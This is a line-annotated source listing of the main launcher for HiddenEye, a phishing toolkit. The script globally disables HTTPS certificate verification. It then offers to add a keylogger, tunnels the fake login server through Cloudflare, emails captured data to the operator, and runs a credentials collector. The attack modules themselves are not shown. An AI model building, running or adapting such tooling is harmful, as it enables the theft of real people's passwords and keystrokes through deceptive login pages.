2018-11-19 19:49:09 +02:00
|
|
|
#
|
2020-05-11 12:12:06 +03:00
|
|
|
# HiddenEye Copyright (C) 2020 DarkSec https://dark-sec-official.com
|
|
|
|
# This program comes with ABSOLUTELY NO WARRANTY; for details read LICENSE.
|
|
|
|
# This is free software, and you are welcome to redistribute it
|
|
|
|
# under certain conditions; you can read LICENSE for details.
|
2018-11-19 19:49:09 +02:00
|
|
|
#
|
2020-05-06 18:00:28 +03:00
|
|
|
from os import system, environ
|
|
|
|
import Defs.ActionManager.main_runner as main_runner
|
|
|
|
import Defs.FeatureManager.keylogger as keylogger
|
|
|
|
import Defs.FeatureManager.cloudflare as cloudflare
|
|
|
|
import Defs.FeatureManager.EmailManager.email_prompt as email_prompt
|
|
|
|
import Defs.ActionManager.Server.server_runner as server_runner
|
|
|
|
import Defs.ActionManager.simple_informant as simple_informant
|
2018-10-28 21:49:19 +02:00
|
|
|
import multiprocessing
|
2018-11-28 22:56:33 +02:00
|
|
|
import sys
|
2019-07-30 15:55:23 +05:00
|
|
|
import ssl
|
2020-05-06 18:00:28 +03:00
|
|
|
|
2019-11-16 17:19:44 +01:00
|
|
|
|
2020-05-11 13:10:39 +03:00
|
|
|
simple_informant.license_handler()
|
|
|
|
agreement = simple_informant.terms_of_service_message()
|
2020-05-14 15:30:36 -05:00
|
|
|
if not agreement:
|
2020-05-11 13:10:39 +03:00
|
|
|
exit()
|
|
|
|
|
2020-05-14 15:30:36 -05:00
|
|
|
if not environ.get('PYTHONHTTPSVERIFY', "") and getattr(ssl, '_create_unverified_context', None):
|
2019-11-16 17:19:44 +01:00
|
|
|
ssl._create_default_https_context = ssl._create_unverified_context
|
2019-07-30 15:55:23 +05:00
|
|
|
|
2020-05-13 18:45:44 +03:00
|
|
|
simple_informant.check_permissions()
|
|
|
|
simple_informant.verify_connection()
|
|
|
|
# verCheck() # For now it's useless, i'll rewrite it later, after release.
|
|
|
|
simple_informant.check_php()
|
|
|
|
#checkLocalxpose()
|
|
|
|
|
|
|
|
#checkOpenport()
|
|
|
|
#checkPagekite()
|
|
|
|
#checkLT()
|
2018-10-28 21:49:19 +02:00
|
|
|
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
2020-05-06 18:00:28 +03:00
|
|
|
main_runner.start_main_menu()
|
|
|
|
keylogger.add_keylogger_prompt()
|
|
|
|
cloudflare.add_cloudflare_prompt()
|
|
|
|
email_prompt.captured_data_email_prompt()
|
|
|
|
main_runner.enter_custom_redirecting_url()
|
|
|
|
port = simple_informant.port_selector()
|
2019-07-30 15:24:16 +04:00
|
|
|
|
2018-10-28 21:49:19 +02:00
|
|
|
##############
|
2020-05-06 18:00:28 +03:00
|
|
|
server_runner.start_server(port)
|
2020-06-03 16:45:52 +05:30
|
|
|
server_runner.server_selection(port)
|
2018-10-30 16:32:47 +02:00
|
|
|
|
2020-05-06 18:00:28 +03:00
|
|
|
multiprocessing.Process(target=server_runner.start_server, args=(port,)).start()
|
|
|
|
simple_informant.credentials_collector(port)
|
2018-10-28 21:49:19 +02:00
|
|
|
|
|
|
|
except KeyboardInterrupt:
|
2020-01-19 14:03:08 +00:00
|
|
|
port = '8080' # When Keyword Interrupt Occurs before defining Port by User. Script will use 8080 port.(Just To Remove Exception Errors)
|
2020-05-06 18:00:28 +03:00
|
|
|
simple_informant.exit_message(port)
|
2019-11-16 17:19:44 +01:00
|
|
|
exit()
|